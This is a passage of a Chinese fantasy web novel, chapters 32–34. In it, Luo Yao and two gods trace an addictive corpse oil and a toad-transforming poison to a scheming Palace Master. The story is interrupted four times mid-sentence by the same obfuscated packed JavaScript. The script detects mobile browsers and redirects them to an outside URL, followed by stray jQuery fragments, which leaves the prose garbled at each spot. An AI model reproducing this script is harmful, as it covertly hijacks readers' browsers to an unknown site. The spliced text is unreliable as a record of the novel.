好奇驱使着他们走了进去,朝着香气四溢的厨房走去,哪知看到炉灶里焦黑的一具具干尸全都吓得魂飞魄散,哭爹喊娘的跑出来。 “难怪珍味坊里的饭菜吃了就跟上瘾一样,怎么也停不下来,原来里面用的油是尸油啊!” “骇人听闻,还好我以前从未吃过,吃进去这种东西恐怕隔夜饭都得吐出来吧。” “就是,用死人熬油,也不怕亡魂会跟着人不走。” “......” 围观看热闹的人群有一半全都白了脸,众人心照不宣,看热闹的人风凉话像流水不停似的往外冒,直到对方表情越来越难看,脸上忍不住得意。 一具具尸体抬了出来,昔日辉煌的珍味楼被官府的封条封住,厨房里抬出的那口大锅当着众人的面被焚烧殆尽。 围观百姓一个个拍手叫好,但也有人愁眉苦脸神情莫名。 “你猜他们为什么忧愁?” 一双柔荑搭在肩膀上,紧接着是靠过来的柔嫩脸蛋,洛遥还没反应过来就被双臂紧紧圈住,无骨的身子像黏在了她身上,柔腻的气息吹拂耳侧,“可算回来了,还以为你一去不回呢?” 她全身僵硬,硬扯也没能撼动身上这条软骨美人蛇,声音也冷了下来她可没忘记背上的是个男人。 “放开。” “不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182879|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抱着很舒服。” 双臂没有半点放松,反而箍的更紧,她都快要无法呼吸。 洛水任性难缠,蛮不讲理我行我素,根本不听人话,卫凌深知她的德性,拎着后颈嫌弃地把她丢到一边。 “别一天当晚发骚,你们两个女人抱来抱去做什么。” 卫凌的眉头简直要皱成川字,站在中间将两人隔开,这是他第一次,看到两个女人站在一起心里会如此不爽。 听到卫凌的话,洛遥顿时明白,原来卫凌也不知洛水是女相男身,忍不住偷偷打量起洛水,如此含情脉脉的大美人,怎么会和男人相关呢? 实在难以想象。 察觉她的视线,洛水朝她偷偷眨了眨眼,“不抱就不抱,我和洛遥说话总行吧。” 洛水像是游蛇,转眼到了洛遥的另一侧,和卫凌将洛遥夹在中间。 “其实这些人伤心不过是因为再也吃不到珍味楼的饭菜,就算配方恶心又怎么样,哪有沉浸在欲望中的快乐让人沉迷。” “......包括吃人?” “他们吃的是戒不掉的瘾。” 已经上瘾人的就算一直清醒也摆脱不了控制,在毒发之时彻底沦为野兽,丧失人性,当意识无法控制瘾的欲望时,那时候会发生什么? 心中的猜测油然而生,洛遥问洛水,“这些府衙的捕快可来过珍味楼?” 洛水的眼睛一亮,似乎有些赞赏,“基本上西宁的官贵之辈都来过,不然一家独大的珍味楼怎么能,开下去呢?” 密集的眼睛神色各异,那些低着头的沉默的人,死死盯着流淌在木柴上焚烧的油,瞪大的眼珠里暗压狰狞,每一个人都像是蓄势待发的饿狼。 意外就在此刻发生,不知道谁忽然被推了一下,压到旁边一群看戏的人,一个瘦弱的身影从人群中冲进火海,双手捧住了流淌的热油。 一瞬间衣服被火点燃,可他竟毫无畏惧,将整张脸全都埋进手掌的热油中,疯狂舔舐,火舌撩动他的衣服,忽然,他的动作卡顿了下,疯狂的表情刹那凝滞。 热油顺着指缝流淌到地面,这时他才像清醒一般,痛苦哀嚎着,在地上打滚企图扑灭身上的火焰,“不是,这不是!” 回过神来的捕快骂骂咧咧,见男人痛苦哀嚎,只在一边看着,完全没有打算出手的意思,“疯子谁让你往火里窜,找死啊!” “卫凌。” 洛遥转头看他,只见卫凌手里已经拿着凭空变出的水桶,无须过多言语,两人默契地知道了对方的打算,但也同时愣了下。 从天而降的及时雨扑灭火焰,捕快们诧异看来,“你怎么刚好有水?” 卫凌神情正经,“刚打好水准备和娘子回家,谁知凑上了这个热闹。” 几人的眼神从带着面纱的洛遥转到洛水全都掩饰不住嫉妒的嘴脸,“你小子真是好福气。” 卫凌很快明白几人误会了什么,忙揽住洛遥,“这是我娘子,那个只是外人。” 他指着洛水。 洛水咬牙望着两人亲密,一把将洛遥拉过来抱上去,“明明你才是外人,我和姐姐才是至亲。” “你有完没完?” 要是个男的,卫凌手上的水桶已经砸到他脑门上了,偏偏是个女子,还身负重伤,但凡他有一点良知都下不去手。 洛遥还没明白怎么又被这无骨蛇缠上,就听洛水附耳轻声道:“姐姐真的不考虑下一夫一妻吗?” “......” 32. 第 32 章 卫凌彻底忍不了了,将两人拉开,挡住洛遥,警惕洛水,“你脑子没坏吧?说什么疯话。” “姐姐都没反对呢,你着什么急?” “都给我闭嘴,是来吵架的现在就可以走了。”问话的捕快早就已经离开,在周边维护人群治安,避免发生刚才的意外。 等油被烧完,捕快驱散人群便率人离开。 而两人还在暗自眼神较量,洛遥无奈道:“你们在这么瞪下去,人都没影了。” 两人齐齐转头。 “我只是告诫她不要在办正事的时候闹脾气。” “谁闹脾气,你怎么不管管自己,别时时刻刻都想着卿卿我我。” “够了。” 洛遥及时打断,“现在不是吵架的时候,想必刚才那个男人嘴里的话你们也听到了,现在不跟紧就找不到珍味楼真正的尸油了。” 捕快几人完全注意不到已经被人跟踪,他们潜入被封锁的珍味楼,从里面搬出一个个密封的瓦缸。放进马车,悄无声息从后门离开。 马车并没有走远而是到了旁边的酒楼,接应的人等早后门,把东西搬下来,笑盈盈清点完毕,“辛苦几位爷,楼中早就备好饭菜,只等着几位过来。” “不用了,我们还要回去复命。”捕快严肃道,“这已经是最后的货了,不能随意浪费。” 接应的人不禁担忧,“那之后怎么办?” “看你表现,后面等着大人通知就是。”几人没有透露过多,匆匆离开。 瓦罐被搬到后厨地窖里藏得严严实实,等看守的人离开,洛遥就跳了下去,漆黑中,不知道是谁的手搂住了她的腰,等落地之后,洛遥燃起冥火,只看到两个规规矩矩站在两边的人。 似乎谁也没有做小动作。 她暗叹一口气,选择闭嘴,不然吵起来,就别想着查事了,密封的瓦罐整齐摆放,大约又几十个,打开封口之后,涌上来果然是那种奇特的油香。 在涌进鼻腔的一刻,洛遥迅速盖上,拉开好几步,大口喘息平气,卫凌不放心,在周边放了结界避免气味流出,“还好吗?” “......没事。”许久之后,心里那股痒意被压下,脸上的热度才消退。 “这尸油太邪门了,究竟是谁研制出如此恶毒的东西。” 卫凌忽然想起人间的一桩往事,“以前东洋倒是流行过点尸油的邪术,听说那种东西抹在人的眼皮上,能叫人陷入幻想,成为施术人的傀儡。” “我久居天庭,不理人间事务,只听说过人间有过一段邪术动荡的历史。” “那你还记得那是什么时候吗?”洛遥问。 卫凌:“...大约是两百年前开始。” “两百年前?” “你难道想到了什么?” 在卫凌探究的眼神下,洛遥收敛恍惚的神色,压下狂躁的心跳,“没有,只是想着或许能从两百年前的历史下手。” “洛水你不受尸油影响,是因为你本就是欲望化身,所以不存在被欲念牵扯思绪。”她记得当初洛水渡酒自己也应该尝到才对,可洛水完全没有不对劲。 如水眸子眼波荡漾,洛水轻抿红唇,不知道想到什么变得更外招人,“对,所以只有我能吸走你身上的脏东西,可是我现在没有神骨,已经无法承载再多了。” 洛遥沉默着走出去,“我们去西宁府衙。” *** 为首的捕快走进书房,朝里间的人禀报,“大人已经完成任务,可要我们抓住那几个坏事的家伙?” “不要打草惊蛇,你们不是他们的对手,下去吧,静观其变。”浑厚的声音有些苍老,听起来能有四五十左右,站在房檐上洛遥瞧不出他的真面目。 书房门被关上,身着官服的男人拿起桌上一叠油乎乎的点心,沉浸地吃起来,整齐威严的男人吃相犹如野兽野蛮,用手抓着使劲往嘴里塞,没有半分官老爷的样子,吃完还不忘舔干净手上的油脂。 和市井粗莽之辈没有区别,这一幕再熟悉不过。 珍味楼中的食客全都是如此模样。 沉浸在餍足中的男人却听见房间乍现的声音,“大人吃的可好?” 毫无动静,这几人像是凭空出现,男人惊慌失措,“你们怎么会来?” “看来大人也认识我们?” 男人愣了下,才自知失言,张嘴大喊,被洛遥提前预判,“不用白费力气,不会有人听见你的声音。” “......你们想干什么?” “不做什么,只是想问问大人,尸油的配方是谁研制的?” 男人眼神闪躲,“我不知道。” 一声轻笑溢出,“不,你知道,你不仅知道还是参与者。” 油乎乎的盘子丢到男人身上,“珍味楼没了,你不是又造出了另一个珍味楼,你的目的是什么?” 男人虽然害怕,但是咬死牙关不说,洛水从她背后探出,“嘴硬就把他的嘴撬开就好了,反正留一条命就行了。” 眼前是犹如仙女的美人,可男人无暇欣赏美色,对上女人那双幽深的眸子,只觉置身于无尽的恐惧之中,他听见女人笑着说,“诏狱里的刑罚想必你也熟悉,不如自己感受一下,就从炮烙之刑开始怎么样?” 他捻起桌上掉落的酥皮在指尖轻轻捏碎,声音犹如鬼魅,“到时候你的皮,恐怕比这还脆。” 细细碎碎的点心渣从眼前洒落,男人后背硬是出了一层冷汗。 “不不不,我不知道,我什么都不知道,我只是听从别人的命令而已。我什么也不知道啊!” 洛遥还准备配合洛水吓唬一番,不想男人是个软骨头,连审问这关都过去不。 “谁指使的你?” “我从没有看见过那人的脸,只听他的声音似乎很——” 声音陡然扼住,男人痛苦地捂住喉咙,脸上涨得通红似乎被人掐住了脖子,只是瞬息间已经翻白眼了。 “怎么会这样?” 洛遥刚想拉开男人扯着自己喉咙的手,便被吓了一跳。 男人的脸上鼓起一个个金黄色的鼓包,密密麻麻从脸上蔓延到脖子,鼓包不断涨大,直到爆裂流出黄色的脓浆。 鼓胀的官服干瘪地挂在太师椅上,从里面钻出一只金黄色全身布满黏液的蟾蜍,绿豆的眼睛盯着洛遥,猩红的嘴朝洛遥吐出黏腻的舌头。 好在她早有预料,成功避开。 洛遥是真的被恶心到了,全身都起了一层鸡皮疙瘩,她摸到腰间的匕首,恨不得立刻把脸上的皮肤剜掉。 但就是不知道这种残暴的办法能不能彻底去除毒素。 她忽然有了一个极为恶心的猜测,“如果我没猜错的话,宝石坊里的金蟾蜍有可能就是吃了大量尸油的人,等到金蟾蜍发生意外,这些替补品就会被拿出来。” 卫凌看她脸色发白,心焦如焚,“他像是被人控制忽然变身,如果是这样,那么背后的人极有可能是通过此毒来操控。” 洛水也收起了平时漫不经心的态度,“没想到此毒这么恐怖,按你这么说,只要是中毒的人都会被操控?” 洛水沉默下来,不再像以往那样往洛遥身边凑,眼神也变得闪躲。 卫凌很难不怪罪任性妄为的罪魁祸首,要是不洛水瞎来,怎么会连累洛遥。 暴虐的气息在他身边环绕,充满杀气,“当初就应该把你镇压在神界,不然哪会惹出这么多乱子。” 沉寂中洛遥忽然道: “没了一个珍味楼还有第二个,第二个金蟾蜍,第二个西宁知县,他们都是替补的棋子......” 有一双手牢牢掌控着西宁,掌控者所有入局的人,她如今的举动恐怕也在那一双眼睛的监视之下。 所以这双眼睛想看到什么? 洛遥沉默着走出府衙,直到冷风吹袭才后知后觉走到了无人荒野,时间不等人,卫凌决定去神界查探两百年前的事情,现在只留她和洛水对立两面。 “百年前你是不是想要挖过殿主...也就是董知的心?” 洛水迟疑了片刻,才承认,“确有此事。” 她的眼神骤然警惕,“那你还说自己是被情郎所骗抛弃,你说的情深就是要挖一个凡人的心?” 洛水的表情凝滞了一瞬,又变成嘲讽的笑意,“凡人总是巧言善辩,他说爱我肯为我付出真心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192612|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我不过想要挖他的心证明一下,他倒是要杀我。” “可见凡人的爱都是嘴上说说,没有一句是真。” 洛遥要被他的言论气笑了,“凡人挖心哪还能活,你要取别人性命,别人岂能不还击。再说了,要是你喜欢的人,要挖你的心脏难道你就肯让她挖出来。” “我肯。”丝毫没有犹豫的声音叫洛遥也愣怔住,“只要她想要把心挖出来又何妨。” “我只是试探一下那个凡人,如果他真的肯让我挖,我自然会救他。” 妖言惑众。 一个充满恶意的神明,戏弄他人只是取悦自己的手段,洛遥深有体会,深恶痛绝,对于洛水的话她一句也不信。 “你根本没有喜欢过董知,所谓情深只是你的谎言,对吧,洛水神女,不,应该叫你洛水神君。” “你竟然——发现了。”洛水的眼中十分诧异,甚至有些惊喜,“是你自己发现,还是董知告诉你的?” 说完他又自语回答,“看样子应该是董知告诉你的。” 眼前容色姝艳的大美人骤然变成了丰神俊朗的少年,还是原本的面貌,只是轮廓比原本要刚毅,上扬的眼角邪肆惑人,依旧是能够迷惑人心的样貌。 “所谓爱,不应该接受对方全部的样子吗?为什么董知却会生气。”他没有凡人的同理心,自然无法从凡人的角度理解。 “我确实没有喜欢过董知,只是好奇凡人至死不渝的爱。” “我本无相,他叫我小姐我便幻化成了女子...不过,似乎男子的样貌也不错。” 洛遥庆幸他没有用这副样子祸害女子,女子总比男子感性,真为他神魂颠倒恐怕根本不惧怕什么妖孽,傻乎乎地把心掏出去。 “那你现在玩够了吗,整个西宁都沦为你操控的傀儡。” “不,我只是承认自己确实欺骗了那个男人,但西宁的背后指使人不是我。”他一脸伤心,“警惕术士的谎言,他才是欺骗者。” “术士?” “你的殿主。” 洛遥愣住,被戏耍的愤怒涌上心头,“你以为我会信你?” 洛水凭什么认为她会怀疑扶持栽培自己的殿主而去相信一个伤害自己的人! 洛水叹了口气,“你居然相信那个术士都不愿意相信我的话。” 转眼间眼前的人消失,后背覆上冰冷的温度,洛遥瞬间摸上腰间的匕首,却听见他在耳边轻声道:“你现在是不是很想杀我?术士指使你做的?” “......” 短暂的沉默答案不言而喻。 “你一定好奇我是怎么发现的。”他顿了下,“人的恶意、欲念都是我的养料,对于恶我再熟悉不过。” 怀抱变得更紧了些,从背后环住的手牢牢控制住她的动作,“术士怎么会让你来杀我呢?难道他不怕你会失败?” 心跳在胸膛疯狂跳动,神经随着他的话越绷越紧,即使她已经努力克制,乱麻的思绪还是疯狂占据脑海。 像殿主那样的人会不知道吗? 他一定会知道,甚至很清楚她对上洛水几乎是毫无胜算,要不然他怎么会费尽心思要找王心莲的魂魄。 因为那是欲念神明洛水的克星,或许此刻就连他自己都没办法做到消灭洛水。 也许她只是一个保求胜率的工具罢了。 可真的如此吗? “他早就知道了,只是他在赌,赌我会不会杀了你。”他的声音越来越低,“赌我有没有喜欢上你。” 绷紧的神经已经经不起再多的刺激,洛遥想起了殿主曾说的那句‘他似乎对你很感兴趣’,所以,一切都是他预料好的吗? 洛水喜欢她怎么可能? 念头刚起,脸侧忽然被冰冷的柔软触碰,紧绷的神经彻底崩断,所有的计划都在此刻溃败,洛遥拼命挣扎,“放开我,你...要做什么?” “不是我要做什么,而是卫凌要做什么?” 挣扎的身体倏地僵住,“......你的话是什么意思?” 就在此刻,卫凌的身影忽然出现面前,他伸手盖住洛遥的眼睛,轻声呢喃,“不用害怕,很快就好了。” 33. 第 33 章 洛遥醒来的时候,是躺在舒适的床上,床边坐着的是正在运功的卫凌,正要诘问,却忽然发现卫凌的半张侧脸全部被金黄色的疙瘩覆盖。 怎么会这样? 摸向自己的脸,却发现疙疙瘩瘩的皮肤已经恢复如初。 洛遥小心起身,没有打断他的运功,直到卫凌将脸上的疙瘩完全压下,“......是你转移了我身上的毒,为什么?” “以我对你的喜欢难道不值得做这点小事吗?” 她的喉中有一瞬间的干涩,“这怎么能是小事——” 思绪从未如此清晰过,以至于她立刻发现了之前从未关注过的细节,卫凌的眼神何时如此疲惫颓败了。 时光的痕迹从未在这张俊逸的脸上留下痕迹,但此刻却有了明显的苍老。 她几乎忘了多久没有心平气和地和卫凌交谈过了,愤怒猜忌在他们的心上划下无法跨越的天堑,她甚至忘了卫凌认认真真说过喜欢她。 “你怎么样?” 终于没像往常那样见面就吵,她此刻还有很多疑惑未解。 “...没事。” 唇色苍白的样子可不像是没事,惊诧之余,后背更是发凉,“为什么你是神也会被伤害?” 另一道声音出现在房间里,“欲望的毒不在乎实力的强弱,而在乎求而不得的执念,当执念形成无法填满的空洞,毒便扎根进去。” 洛水走了过来,“所以凡人有太多求不得,便无法挣脱,如果是天真单纯的稚子哪怕脆弱到蹒跚学步的年纪也不会受影响。” “这和人的念有关。” 他笑看着卫凌,“那你的求而不得是什么?” 看着眼前和洛水一模一样的俊秀男子,卫凌愣了好半天,才确定自己没有看错,“你怎么是个男的!” 卫凌的震惊不出他所料,他的嘴角起了一丝恶作剧的笑意,“我从没说过我是个女人,我由洛水幻化而生,是男是女,全凭我个人心意。” 他向往常一样走到洛遥身边,不过只差两步便被满脸警惕的卫凌挡住,“其实,你做女人挺好的。” 好你个洛水,还以为你是喜欢凡间男子才不归神界,如今被男人伤了心,竟然喜欢女人了! 你再喜欢女人也不能对洛遥下手,撬墙角居然撬到他面前了。 难怪之前一直黏在洛遥身边不走。 卫凌后悔自己没能早一点察觉。 卫凌的打岔避开了他的提问,洛水毫不意外也心知肚明,望着他惨白的面色安慰,“不用担心,等我拿回神骨就可以帮你,只是你现在受毒影响也不知能不能打过术士?” 卫凌冷笑,依旧是那副桀骜模样,“试试便知。” “真的是他,殿主就是取你神骨的术士?”直到现在洛遥都不敢相信,那个清风儒雅的人物会做出如此卑劣的事情,将所有西宁百姓玩弄股掌之中。 洛水恍惚回想当年的事,“帝君曾有一爱女,偷入房间爱上一位书生,不知道怎么就鬼迷心窍不做神仙也要和书生厮守。” “帝君自然不允,但耐不住爱女苦苦相求,便许她百年时间。” “哪知那凡人却贪图长生竟然教唆神女剔下一半神骨给自己,但凡人之躯哪能承受。” “就是神女用另一半神骨救他也没能救回他的性命,原本他应入轮回道受罚,却又教唆了神女与自己偷入轮回。” “千年已过,神魂在世俗浸染中早就失去了灵性,帝君能力再强也不能颠覆轮回重新让自己的爱女成神,只能日日对洛水垂泪。” “我从他的眼泪中感受到了对苍生的杀意,帝君也知道自己受到影响恐怕会做出做事,便将恶欲杀念投入洛水净化。” “那时我承载了苍生化不去的欲念,只能将自己从洛水本体分离。” “我来凡界也只是因为好奇,为何弱小的人能迷惑神。” 洛遥:“所以你选择了董知。” 提及到此,洛水兴致缺缺,“他和迷惑天神的那个男人没有什么区别,在我要挖他的心时,视我如妖孽,却在看到我真神之身时起了贪恋。” “明明逃走却重新回来,哪怕已知我是男儿身,还说深情不悔。” “那时我刚从本体分离,神力虚弱,没想到让这个书生钻了空子,竟然让他和他的术士师父偷了神骨。” “而他为了独占,又杀了师父逃之夭夭。” 听完全过程,卫凌的第一反应是气愤,“你为什么不早说,非得兜这一大圈。” 洛水表情无辜,“说了她会信吗?术士的毒会影响神志,滋生恶意,对越是在乎的人,越是容易滋生憎恶,我告诉她,她也会认为是我和你联手诓骗的手段。” 越是在乎的人,越是容易滋生憎恶。她心里默念了一遍,沉默许久。抬眼便见卫凌直直盯着自己,被看得心虚,洛遥低头移开了视线。 洛水还在抱怨,“你以为我这一百年过得好吗,我逃到西宁,哪知术士追杀了过来,我失了神骨,又没办法求援,只能像老鼠一样躲藏。” “西宁到处都是术士的眼线,我哪能不防备敌人派过来的手下。” 洛水确实过得不好,一个神活得这么窝囊除了他也没谁了。 “谁叫你没事惹事偏要招惹凡人?”卫凌话一脱口,才觉不对,赶紧刹住。 可洛水不忘补刀,“你不也正招惹着吗?” 卫凌闭嘴了。 “所以现在我们要怎么做?” 洛遥不知道董知的踪迹,甚至百年内地府的众鬼都不甚了解神出鬼没的殿主大人,洛遥也只从传闻中了解他的片面。 原来,他这百年都在追杀洛水吗? 洛水嘴角扬起不怀好意的笑容,“凡人本来就难以承受神骨,偷来的机缘哪有不反噬的道理。若是融合不了神骨,必会和勾引帝君女儿的凡人一个下场。” “我的神骨本就受到污染,他想真正成神,还需要一颗神的心脏来净化神骨。” “你说他会盯上谁?” 两人同时望向卫凌,“他的目标是你。” 交谈之际,一人忽然破窗而入,卫凌不知自己的敏锐力已经下降到人冲到面前了才发觉,运起法力警惕,才发现是王心莲。 松了口气,却被王心莲一掌打在心口,毫无预料之下,重伤吐血。 意外让所有人都没能反应过来,王心莲不想自己竟然能这么容易得手,来不及思考就拽着洛遥离开。 “你在做什么?” “来不及,洛大人先跟我走。” 手臂被她死死拽住,洛遥甩过一鞭将两人分开,“你伤卫凌做什么?” 王心莲不可置信洛遥会想自己出手,“来不及了大人,等下他们就要追上来了,跟我去找殿主,殿主会保护你的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199845|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你哪里看到他们伤害我了?” 王心莲痛心疾首,“大人难道忘了是谁给你喂的毒,你竟然还不计前嫌和他们站在一起和殿主作对,大人你被他们迷惑了心智,不能再糊涂下去啊!” 站着武力比洛遥强,不顾洛遥再次出手,王心莲挟持住洛遥离开。 “殿主都告诉我了,是洛水给你下的毒,他和卫凌是一伙的,洛水根本就是彻头彻尾的堕神,和妖邪无异,在西宁为非作歹不说,才撺掇着大人和殿主离心。” “他们是想利用你杀殿主,那个毒会让你不自觉相信堕神洛水的话,成为他的棋子,和被困在西宁的所有人一样。” “洛水才是幕后人。” “大人不能因为喜欢卫凌,心里就偏向他那一方,我们都被骗了。” “我不是因为卫凌才相信洛水。”洛遥坚定的语气掩饰了心里的片刻迟疑,不管相信谁,都会被推出来当枪使,没人知道当年发生了什么,谁才是暗中布局的人。 “等等,我们先不去找殿主,我们回地府。” 王心莲没明白她忽然的想法,“回去做什么?......让他们先斗,我们隔岸观火,这倒是个不错的主意。” 洛遥不是没有过这样摆烂的想法,当什么牛马,直接甩手不干,浪迹天涯,但最终因为不妥放弃。 自由是有代价的,或许是穷困潦倒,或许是鬼界的追杀。 总之最后无疾而终。 “从一个人的过往能推断出蛛丝马迹,殿主既能得机缘成仙,又是因为何事?我们可以暗中调查一番。” 王心莲修得佛心,因为十世善业,那殿主呢? 一个书生化而为仙似乎从未有人提及过此事。 “谁都不值得相信,无论是卫凌还是殿主,我们动谁都没有好果子吃,只能明哲保身。” 王心莲终于被所动,两人乘冥马疾驰,却在出城之时,遇上风暴,饶是冥马也在漫天黄沙中失去了方向。 呼啸声越来越大,最后马车显先被卷走,两人不得不弃车离开,重新逃回城中。 经验老道的商贩已经带着满车的货物掉头回程,看到同样狼狈的洛遥两人,提醒一句,“没到十月西宁天气总是多变,一般人都会选择再次此之前离开,不知道今年风暴为何会提前,姑娘你们恐怕要等上一月才能离开了。” 洛遥拱手道谢,“多谢告知,我们姐妹有急事需要出城,不知您可知道有其他出城的法子?” 那人笑道:“要是有我肯定不会让我的一车货滞留在这里,若是不怕死赌命,恐怕半路风暴又起,会被永远埋在黄沙之下,姑娘事情再急,也要小心为上啊!” 马车渐渐走远,天色愈加昏暗,王心莲无奈道:“天意如此,接下来我们怎么办?” 洛遥半天没有说话,王心莲以为她担心卫凌,忙道:“大人要是担心卫神君的话大可放心,我没有下死手,况且卫神君法力高强怎么可能以为我一掌重伤。” 她忘不了卫凌当时吐血的样子,看上去状态算不上好。 脑海中一团乱麻始终没有理清,一定有什么东西是她遗漏的,可眼下洛遥始终想不明白。 她深吸一口气道:“我们回去吧,找殿主。” 王心莲有点意外,“大人想清楚了?这样也好,不用待在那个疯女人身边,警惕她什么时候下刀子。” 34. 第 34 章 王心莲带她来到一处偏僻的宅院,推开门,只见一道倚窗而坐的清俊身影,淡雅至极的面容在桌前烧开热茶盈盈的白雾中晕染如画,这样的人,见到的第一面也会把他认作凡尘谪仙。 而不会与阴暗的鬼物联系。 清雅的声音随着淡淡茶香一同而来,“回来了?” “嗯。” 洛遥恭敬站在下首,微微低头,不敢以俯视的目光直视。 “你脸上的东西好了,”声音似乎夹杂着淡淡的惊喜,“是卫凌帮你的?” “确实是他。” 他喃喃道:“神血果然有净化作用。” 见洛遥始终低头,远远站着,随手又倒了一杯茶,“别拘谨坐吧,以前可没见你这么胆小,如今怎么如此生疏?” 唠家常的方式并没有让她感到放松,反而内心更加纠结紧张,“...我没有完成殿主交代的任务。” “如果是这件事你不必自责,我和它打交道多年,也没能收服他。”听到洛遥失败的消息,他没有半点责备和意外,“堕神洛水身心狡猾,又擅长迷惑人心,只要你着了他的道必输无疑。” 心里打得草稿完全没派上用场,洛遥没想到这么轻松就能蒙混过关,可下一刻冷不丁的声音忽然敲打过来,“我给你的匕首你是没用上,还是根本不想用?” “......” “他是让你来杀我的吗?”他的声音似乎变得失望,“你终究相信了洛水的话。” “不是的殿主,是洛水提前察觉了我会暗杀,计划失败了。我没有不相信您。” 洛遥急忙解释,也不知他信了没有。 “卫凌肯为你解毒这份恩情你记在心上正常,但你决不能听信洛水的诱惑。” “你不知如今洛水已经污染,在你面前的是集齐众生恶念的堕神,恶意才是滋生他的养料,不杀了他西宁危矣。” 洛遥:“可是我......” “他几乎让人抓不住弱点,不过现在有了,只有你能杀了他洛遥。” 洛遥不知自己能否当此重任,“可是殿主我已经失败过一次了。” 男人忽然笑了,“他不是没杀你吗?难道你现在还没明白洛水的弱点是什么?” “......” “这不是你我所能够逃避的,洛水不除,日后三界都要受其所害,轮回秩序将不复存在,世间更没有善恶一说,西宁的现在,就是之后的未来。” “洛遥我命你必要完成此事。” 不容拒绝、不容退缩,他的语气从没有如此强烈,洛遥知道这场对立她必将避免不了。 心中一片冰凉,锋利的刀再次递到了她手上,而她根本没有办法逃避,“殿主想要我做什么?” “洛水最大的助力就是卫凌,你想办法重伤他,洛水那里由王心莲牵制,我会在合适的时机助你们完成任务。” “不用担心,我会跟在你们身后,若有危险我会第一时间出手。” 长睫掩下晦暗的神色,站起躬身退步,“必不负殿主所望。” 找到卫凌的踪迹并不是难事,王心莲对洛水积怨已久已经做好拼死一战的准备,可洛遥却忽然凑到他耳边交代,“不必对洛水下死手,以免他拼死反击,我们要等到最后一刻。” 王心莲不解,“什么时候?” “殿主出手的时候。”她解释道,“以我的实力能做到保全自身就不错了,殿主才是真神,我们能做到配合殿主就好,以免耽误了殿主的计划。 王心莲明白过来,“殿主这是准备压轴出场,打得他们措手不及,他们也已经没料到螳螂捕蝉黄雀在后吧。” 已是次日清晨,两人商量好计划便各自行动。 卫凌和洛水正在城中分头搜寻洛遥的踪迹,走到一处暗巷,朦胧的光影被高墙挡住,翻飞的衣角也彻底消失在阴影之中,劲风从身后而来,带着强烈的杀意。 王心莲只见近在眼前的人忽然消失,一击便落了空。 “就这点手段还想杀我?” 笑声从背后传来,犹如鬼魅,王心莲立即转身,见到的是玉簪束冠的男子,也就是初见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209932|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个没骨头像一摊烂肉的堕神,只能引诱凡人献上祭品,才能人模人样地站起来。 “听殿主说你是女相男身我还不信,如今一见,你还真是变态。”王心莲最瞧不起的就是妖言惑众、迷惑他人作恶的行径,什么神明,在她眼里只是可怜恶毒的妖孽。 “诱惑殿主不成,你还想用这副模样迷惑洛大人吗?” “恕我直言,你这副不男不女的样子,恐怕洛大人只会避之不及。” 嘴角的笑意肉眼可见的僵硬,连眼角邪肆上扬的弧度也变得阴狠,他的怒意成功被激起,神情变得与往常不符的狠戾。 “如果你是来激怒我的,那么你成功了。只是你准备好要付出代价了吗?” 他就像暗夜的影子一样潜伏在黑暗中,一不注意就悄无声息出现在背后,王心莲躲过一击,便不在此纠缠,拉扯战线,远离洛遥的方向,而洛水也被他成功吸引过去。 另一边,慌慌张张的人影撞上宽阔的胸膛,洛遥来不及道歉就被拥入怀中,“你怎么样,王心莲是带你去见董知了吗?” 听着声音,洛遥便知道是谁,语气不自觉变软了些,“殿主应该是对她说了些什么,让她误以为西宁的幕后主使是你们,为了我的安全她才偷袭你带我回去。” 卫凌忽然意识到一个问题,他捧起洛遥的脸,“那他看到你脸上的毒被治好,有没有怀疑、为难你?” 洛遥笑着靠近他,嘴唇几乎要触碰到他下巴,丝丝馨香气息吹在皮肤上,下巴上的痒意便酥麻了全身,以至于他几乎忘了刚才的问题,脑子全被一团棉花泡软。 “没有,不过殿主交代了我任务?” “哦...什么任务?” 他没反应过来磕磕巴巴顺着她的话问道。 “来杀你。” 